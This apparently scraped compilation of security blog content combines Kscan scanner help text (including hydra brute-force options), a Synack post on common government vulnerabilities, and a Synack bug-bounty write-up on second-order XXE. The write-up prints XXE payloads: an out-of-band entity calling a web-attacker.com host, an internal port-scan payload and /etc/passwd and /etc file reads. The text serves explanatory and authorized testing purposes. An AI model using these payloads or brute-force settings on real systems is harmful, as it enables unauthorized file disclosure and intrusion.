At present, there are actually many tools for asset scanning, fingerprint identification, and vulnerability detection, and there are many great tools, but Kscan actually has many different ideas.

• Kscan hopes to accept a variety of input formats, and there is no need to classify the scanned objects before use, such as IP, or URL address, etc. This is undoubtedly an unnecessary workload for users, and all entries can be normal Input and identification. If it is a URL address, the path will be reserved for detection. If it is only IP:PORT, the port will be prioritized for protocol identification. Currently Kscan supports three input methods (-t,--target|-f,--fofa|--spy).

• Kscan does not seek efficiency by comparing port numbers with common protocols to confirm port protocols, nor does it only detect WEB assets. In this regard, Kscan pays more attention to accuracy and comprehensiveness, and only high-accuracy protocol identification , in order to provide good detection conditions for subsequent application layer identification.

• Kscan does not use a modular approach to do pure function stacking, such as a module obtains the title separately, a module obtains SMB information separately, etc., runs independently, and outputs independently, but outputs asset information in units of ports, such as ports If the protocol is HTTP, subsequent fingerprinting and title acquisition will be performed automatically. If the port protocol is RPC, it will try to obtain the host name, etc.

IP address: 114.114.114.114
IP address range: 114.114.114.114-115.115.115.115
URL address: https://www.baidu.com
File address: file:/tmp/target.txt

[Empty]: will detect the IP address of the local machine and detect the B segment where the local IP is located
[all]: All private network addresses (192.168/172.32/10, etc.) will be probed
IP address: will detect the B segment where the specified IP address is located

fofa search keywords: will directly return fofa search results

usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy) [-p,--port|--top] [-o,--output] [-oJ] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [-Cn] [-sV] [--check] [--encoding] [--hydra] [hydra options] [fofa options]


optional arguments:
  -h , --help     show this help message and exit
  -f , --fofa Get the detection object from fofa, you need to configure the environment variables in advance: FOFA_EMAIL, FOFA_KEY
  -t , --target Specify the detection target:
                  IP address: 114.114.114.114
                  IP address segment: 114.114.114.114/24, subnet mask less than 12 is not recommended
                  IP address range: 114.114.114.114-115.115.115.115
                  URL address: https://www.baidu.com
                  File address: file:/tmp/target.txt
  --spy network segment detection mode, in this mode, the internal network segment reachable by the host will be automatically detected. The acceptable parameters are:
                  (empty), 192, 10, 172, all, specified IP address (the IP address B segment will be detected as the surviving gateway)
  --check Fingerprinting the target address, only port detection will not be performed
  --scan will perform port scanning and fingerprinting on the target objects provided by --fofa and --spy
  -p , --port scan the specified port, TOP400 will be scanned by default, support: 80, 8080, 8088-8090
  -eP, --excluded-port skip scanning specified ports，support：80,8080,8088-8090
  -o , --output save scan results to file
  -oJ save the scan results to a file in json format
  -Pn After using this parameter, intelligent survivability detection will not be performed. Now intelligent survivability detection is enabled by default to improve efficiency.
  -Cn With this parameter, the console output will not be colored.
  -sV After using this parameter, all ports will be probed with full probes. This parameter greatly affects the efficiency, so use it with caution!
  --top Scan the filtered common ports TopX, up to 1000, the default is TOP400
  --proxy set proxy (socks5|socks4|https|http)://IP:Port
  --threads thread parameter, the default thread is 100, the maximum value is 2048
  --path specifies the directory to request access, only a single directory is supported
  --host specifies the header Host value for all requests
  --timeout set timeout
  --encoding Set the terminal output encoding, which can be specified as: gb2312, utf-8
  --match returns the banner to the asset for retrieval. If there is a keyword, it will be displayed, otherwise it will not be displayed
  --hydra automatic blasting support protocol: ssh, rdp, ftp, smb, mysql, mssql, oracle, postgresql, mongodb, redis, all are enabled by default
hydra options:
   --hydra-user custom hydra blasting username: username or user1,user2 or file:username.txt
   --hydra-pass Custom hydra blasting password: password or pass1,pass2 or file:password.txt
                  If there is a comma in the password, use \, to escape, other symbols do not need to be escaped
   --hydra-update Customize the user name and password mode. If this parameter is carried, it is a new mode, and the user name and password will be added to the default dictionary. Otherwise the default dictionary will be replaced.
   --hydra-mod specifies the automatic brute force cracking module: rdp or rdp, ssh, smb
fofa options:
   --fofa-syntax will get fofa search syntax description
   --fofa-size will set the number of entries returned by fofa, the default is 100
   --fofa-fix-keyword Modifies the keyword, and the {} in this parameter will eventually be replaced with the value of the -f parameter

6.2 Survival network segment detection

6.3 Fofa result retrieval

6.4 Brute-force cracking

6.5 CDN identification

Carrie Roberts // PowerShell incorporates the handy feature of writing commands executed to a file to make them easy to refer back to later. This functionality is provided by the […]

The post New PowerShell History Defense Evasion Technique appeared first on Black Hills Information Security.

How do you do, fellow kids? We have a beautiful, snowy day of January 2021. I was pretty busy last days, but I couldn’t miss post in January! I found very interesting browser plugin I started using. In this occasion I decided to list some cool browser extensions for

Government agencies are faced with cybersecurity challenges from all sides. Digital transformation initiatives can expose weak points in an attack surface, putting pressure on agencies’ IT teams to get it just right. And from insider threats to persistent vulnerabilities within networks and operating systems, public sector leaders feel the urgency to obtain a clear picture of what’s most at-risk.

As we kick off 2023, the Synack Red Team reviewed the most common vulnerabilities found in 2022. Each of these vulnerabilities have the potential to pose significant threats to large organizations—governments and beyond—and will continue to be monitored as we move through 2023.

Here are the top 5 vulnerability categories found by Synack in government accounts in 2022:

#5: Remote Execution

Remote Code Execution refers to a vulnerability where an unauthenticated attacker can remotely execute commands to place malware or malicious code on your network or hardware.

#4: Brute Force

In a brute force attack, attackers utilize exhaustive key searches to constantly search and systematically check possible passwords or passphrases until the correct one is found. This can lead to successful phishing attacks and more.

#3: SQL Injection

This attack style consists of insertion or injection of a SQL query via the input data from client to application. A successful exploit of this style can read and even modify sensitive data, execute admin functions (including shutting down systems), and in some cases, issue commands to an operating system.

 #2: Authorization Permissions

The second most common vulnerability found in 2022 relates to improper authorizations. With authorizations, a user’s right to “access a given resource [is] based on the user’s privileges and any permissions or other access-control specifications that apply to the resource.” In this case, unauthorized users may gain access to resources or initiate unwanted actions that they should not be allowed to perform, potentially leading to data exposures, DoS, or arbitrary code execution.

#1: Cross Site Scripting XSS 

The most found vulnerability among Synack’s government missions in 2022 was cross-site scripting (XSS). According to NIST, this vulnerability “allows attackers to inject malicious code into an otherwise benign website. These scripts acquire the permissions of scripts generated by the target website and can therefore compromise the confidentiality and integrity of data transfers between website and client. Websites are vulnerable if they display user-supplied data from requests or forms without sanitizing the data so that it is not executable.”

Government organizations need to stay on top of these and countless other vulnerabilities, and mandates are pushing security teams to address this head on by adopting a zero trust model. At a high level, a Zero Trust Architecture provides a framework and structural guidance to ensure that only the individuals and systems who need access, have access. Dedicated and continuous application security testing programs are a critical piece to achieving a zero trust paradigm, and investment in security testing is critical to ensuring agencies in the United States have minimized known vulnerabilities and are adhering to Executive Order 14028 and Memorandum 22-09.

How can my team reduce found vulnerabilities?

• Understand your attack surface. Ensure you have a clear picture of your dynamic assets and that your attack surface is defined. This is key to managing cyber risk. 
• Set your vulnerability alerts. Stay aware of the latest active exploits, vulnerabilities and security issues affecting government and industry-specific verticals by signing up for alerts from CISA.
• TEST! Does your security testing plan include testing for the 5 common vulnerabilities above? Synack can help. Chat with a Synack public sector representative today to learn how the Synack platform empowers in-house teams to scale and protect your mission continuously in a FedRAMP Moderate In Process environment.
• Double down on Vulnerability Management. Make sure you are prioritizing vulnerabilities according to their criticality, patching them and then independently verifying that those patches have worked.
• Orchestrate. Your SOAR has defensive security data from logging, alerting, threat intel and more. You should also integrate Synack continuous penetration testing data to automate your offensive security practices within the SOC. Such an integration will enable continuous, defensive improvements so you can truly grade and improve your security posture.

Additional Resources

READ: Our Guide to Zero Trust
WATCH: Webinar with HHS’ Matthew Shallbetter
LEARN: Synack’s FedRAMP Moderate In Process Certification

The post The Top 5 Cybersecurity Vulnerabilities for Government Agencies in 2022 appeared first on Synack.

Kuldeep Pandya is a member of the Synack Red Team. You can find him on Twitter or his blog.

This writeup is about my recent discovery of a Second Order XXE that allowed me to read files stored on the web server.

One morning, a fresh target was onboarded and I hopped onto it as soon as I received the email. In the scope, there were two web applications listed along with two postman collections. I prefer postman collections over web apps, so I loaded the collections with their environments into my postman.

After sending the very first request, I noticed that the application was using SOAP API to transfer the data. I tried to perform XXE in the SOAP body but the application threw an error saying “DOCTYPE is not allowed”.

Here, we cannot perform XXE as DOCTYPE is explicitly blocked.

Upon checking all the modules one by one, I came across a module named NormalTextRepository in the postman collection which had the following two requests:

• saveNormalText
• GetNamedNormalText

After sending the first saveNormalText request and intercepting it in Burp Suite, I found out that it contained some HTML-encoded data that looked like this:

Upon decoding, the data looked like this:

<?xml version="1.0"?>
<normal xmlns="urn:hl7-org:v3" xmlns:XX="http://REDACTED.com/REDACTED"><content XX:statu

This quickly caught my attention. This was XML data being passed inside the XML body in a SOAP request (Inception vibes).

I went on to try XXE here as well. For this, I copy pasted a simple Blind XXE payload from PortSwigger:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/XXETEST"> %xxe; ]>

I used Synack’s provided web server to test for this. Upon checking its logs, I found there indeed was a hit for the /XXETEST endpoint.

This still was a blind XXE and I had to turn it into a full XXE in order to receive a full payout. I tried different file read payloads from PayloadsAllTheThings and HackTricks but they did not seem to work in my case.

For me, the XXE was not reflected anywhere in the response. This is why it was comparatively difficult to exploit.

After poking for a while, I gave up with the idea of full XXE and went ahead to check if an internal port scan was possible or not as I was able to send HTTP requests.

I sent the request to Burp Suite’s intruder and fuzzed for the ports from 1 to 1000. The payload for that looked like the following:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:§1§/XXETEST"> %xxe; ]>

However, the result of the intruder didn’t make any sense to me. All the ports that I fuzzed were throwing random time delays.

I lost all hope and was about to give up on this XXE once again. Then a thought struck, “If this data is being saved in the application, it has to be retrievable in some way as well.” I checked the other GetNamedNormalText request in this module and instantly felt silly. This request retrieved the data that we saved from the first saveNormalText request.

I used the following XXE file read payload and saved the data:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>

Then sent the second GetNamedNormalText request to retrieve the saved data. And in the response, I could see the contents of the /etc/passwd file!

This was enough for a proof of concept. However, looking at the JSESSIONCOOKIE, I could tell that the application was built using Java. And, in Java applications, if you just provide a directory instead of a file, it will list down the contents of that directory and return it.

To confirm this theory, I just removed the /passwd portion from the above file read payload. The updated payload looked like this:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc"> ]>

Upon saving the above payload and retrieving it using the second request, we could see the directory listing of the /etc directory!

I sent it to Synack and they happily triaged it within approximately 2 hours.

The post Exploits Explained: Second Order XXE Exploitation appeared first on Synack.